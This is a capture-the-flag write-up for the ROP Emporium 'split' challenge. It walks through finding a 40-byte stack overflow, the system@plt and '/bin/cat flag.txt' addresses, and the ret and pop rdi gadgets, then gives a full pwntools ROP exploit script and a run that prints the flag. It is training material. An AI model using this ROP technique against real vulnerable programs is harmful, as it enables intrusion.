split
split
Exploration
1
2
3
4
5
6
7
8
$ checksec ./split
[*] '/home/ctf/ctf/ropemporium/split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
No canary means buffer overflow is likely the vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gdb ./split
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunction
0x0000000000400760 __libc_csu_init
0x00000000004007d0 __libc_csu_fini
0x00000000004007d4 _fini
Here, we can see pwnme again and now usefulFunction.
Finding the vulnerability and offset
Once again, the offset is 0x28 (40), as seen in the read call.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400810
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x40083c
0x0000000000400715 <+45>: mov eax,0x0
0x000000000040071a <+50>: call 0x400570 <printf@plt>
0x000000000040071f <+55>: lea rax,[rbp-0x20]
0x0000000000400723 <+59>: mov edx,0x60
0x0000000000400728 <+64>: mov rsi,rax
0x000000000040072b <+67>: mov edi,0x0
0x0000000000400730 <+72>: call 0x400590 <read@plt>
0x0000000000400735 <+77>: mov edi,0x40083f
0x000000000040073a <+82>: call 0x400550 <puts@plt>
0x000000000040073f <+87>: nop
0x0000000000400740 <+88>: leave
0x0000000000400741 <+89>: ret
End of assembler dump.
An intermediate step (usefulFunction)
1
2
3
4
5
6
7
8
9
10
11
12
(gdb) disassemble usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
(gdb) x/s 0x40084a
0x40084a: "/bin/ls"
This function, although not useful for the final payload, can be used to check whether the offset is correct.
Address of payload string
We know that system is at 0x400560, but we need the address of the string "cat flag.txt".
We can achieve this with gdb:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) info variables
All defined variables:
Non-debugging symbols:
0x00000000004007e0 _IO_stdin_used
0x0000000000400854 __GNU_EH_FRAME_HDR
0x00000000004009dc __FRAME_END__
0x0000000000600e10 __frame_dummy_init_array_entry
0x0000000000600e10 __init_array_start
0x0000000000600e18 __do_global_dtors_aux_fini_array_entry
0x0000000000600e18 __init_array_end
0x0000000000600e20 _DYNAMIC
0x0000000000601000 _GLOBAL_OFFSET_TABLE_
0x0000000000601050 __data_start
0x0000000000601050 data_start
0x0000000000601058 __dso_handle
0x0000000000601060 usefulString
0x0000000000601072 __bss_start
0x0000000000601072 _edata
0x0000000000601078 __TMC_END__
0x0000000000601078 stdout
0x0000000000601078 stdout@@GLIBC_2.2.5
0x0000000000601080 completed
0x0000000000601088 _end
(gdb) x/s 0x601060
0x601060 <usefulString>: "/bin/cat flag.txt"
Technically, this part isn’t necessary, since pwntools can find strings within the binary (shown in the payload).
Gadgets
Like the previous problem, it is likely that we’ll need a ret gadget to get around movabs. However we will also need a gadget to put the address of "/bin/cat flag.txt" into RDI, where the first argument goes. These can be found using ropper:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ropper --file split --search ret[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret
[INFO] File: split
0x0000000000400542: ret 0x200a;
0x000000000040053e: ret;
$ ropper --file split --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: split
0x00000000004007c3: pop rdi; ret;
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
from pwn import *
exe = ELF("./split_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
# good luck pwning :)
offset = 0x28
ret = 0x40053e
rdi = 0x4007c3
payload = flat({
offset: [
ret,
rdi,
next(exe.search(b"/bin/cat flag.txt")),
exe.plt["system"]
]
})
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/split/split_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[/.......] Starting local process '/home/ctf/ctf/ropemporium/split/split_patched': pi[+] Starting local process '/home/ctf/ctf/ropemporium/split/split_patched': pid 76564
[*] Switching to interactive mode
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}